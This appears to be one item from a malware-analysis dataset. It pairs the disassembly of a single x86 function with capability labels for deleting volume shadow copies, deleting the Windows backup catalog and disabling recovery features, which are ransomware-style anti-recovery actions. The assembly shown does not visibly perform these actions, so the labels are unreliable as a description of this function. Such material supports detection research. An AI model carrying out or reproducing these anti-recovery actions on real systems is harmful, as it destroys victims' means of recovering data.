Function at 0x438640
Capabilities:
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x43889d
sub esp, 0x30
mov eax, dword fs:[0x14]
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
mov ecx, dword [ecx + 0x78]
test ecx, ecx
jg 0x438886
mov dword [esp + 0x28], eax
nop
lea eax, [0x631bf8]
mov dword [esp], eax
call fcn.00409140
mov eax, dword [0x657224]
mov dword [0x631c74], eax
lea eax, [0x631c70]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.00401e20
call fcn.00440f80
mov eax, dword [esp + 0x28]
mov eax, dword [eax + 0x18]
mov eax, dword [eax + 0x54]
mov dword [eax + 4], 3
dec dword [0x631c74]
mov eax, dword [0x630fd0]
mov dword [esp + 0x2c], eax
mov ecx, dword [0x630fd4]
mov dword [esp + 0x1c], ecx
xor edx, edx
jmp 0x4386de
inc edx
cmp edx, ecx
jge 0x43877d
mov dword [esp + 0x18], edx
mov ebx, dword [eax + edx*4]
mov dword [esp + 0x20], ebx
mov ebp, dword [ebx + 4]
cmp ebp, 2
je 0x4386fd
xor ebp, ebp
jmp 0x43872b
lea eax, [ebx + 4]
mov dword [esp], eax
mov dword [esp + 4], ebp
mov dword [esp + 8], 3
call fcn.00401c30
movzx eax, byte [esp + 0xc]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
mov ebx, dword [esp + 0x20]
mov ebp, eax
mov eax, dword [esp + 0x2c]
xchg ebp, eax
test al, al
xchg ebp, eax
je 0x4386dd
movzx ebp, byte [0x63b848]
xchg ebp, eax
test al, al
xchg ebp, eax
je 0x438762
mov dword [esp], ebx
call fcn.004547e0
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.00453ec0
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
mov ebx, dword [esp + 0x20]
inc dword [ebx + 0x10]
dec dword [0x631c74]
jmp 0x4386dd
mov dword [eax + 4], 3
dec dword [0x631c74]
call fcn.00442030
mov eax, dword [esp]
test eax, eax
jne 0x438770
mov eax, dword [0x631c74]
mov dword [esp + 0x14], eax
nop
nop
lea ecx, [0x631bf8]
mov dword [esp], ecx
call fcn.00409340
mov eax, dword [esp + 0x14]
test eax, eax
jle 0x4387e4
jmp 0x4387b2
call fcn.00440f80
lea eax, [0x631c78]
mov dword [esp], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0x186a0
call fcn.004098a0
movzx eax, byte [esp + 0xc]
test al, al
je 0x4387ad
nop
mov dword [0x631c78], 0
mov eax, dword [0x631c74]
test eax, eax
jne 0x438802
mov eax, dword [0x630fd0]
mov ecx, dword [0x630fd4]
xor edx, edx
xor ebx, ebx
xor ebp, ebp
jmp 0x438866
mov eax, 0x29
lea ecx, [0x5519b6]
mov dword [esp + 0x10], eax
mov dword [esp + 0x24], ecx
lea edx, [0x657210]
mov dword [esp], edx
call fcn.00401c10
mov eax, dword [esp + 4]
test eax, eax
je 0x438849
nop
lea eax, [0x6571e4]
mov dword [esp], eax
call fcn.00409140
nop
lea eax, [0x6571e4]
mov dword [esp], eax
call fcn.00409140
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x438855
add esp, 0x30
ret
mov ecx, dword [esp + 0x24]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00433a00
inc edx
cmp edx, ecx
jge 0x438880
mov esi, dword [eax + edx*4]
cmp dword [esi + 4], 3
je 0x438865
mov ebx, 0x2e
lea ebp, [0x55260b]
jmp 0x438865
mov eax, ebx
mov ecx, ebp
jmp 0x43880d
lea eax, [0x54e5cf]
mov dword [esp], eax
mov dword [esp + 4], 0x1b
call fcn.00433a00
nop
call fcn.0045e000
jmp fcn.00438640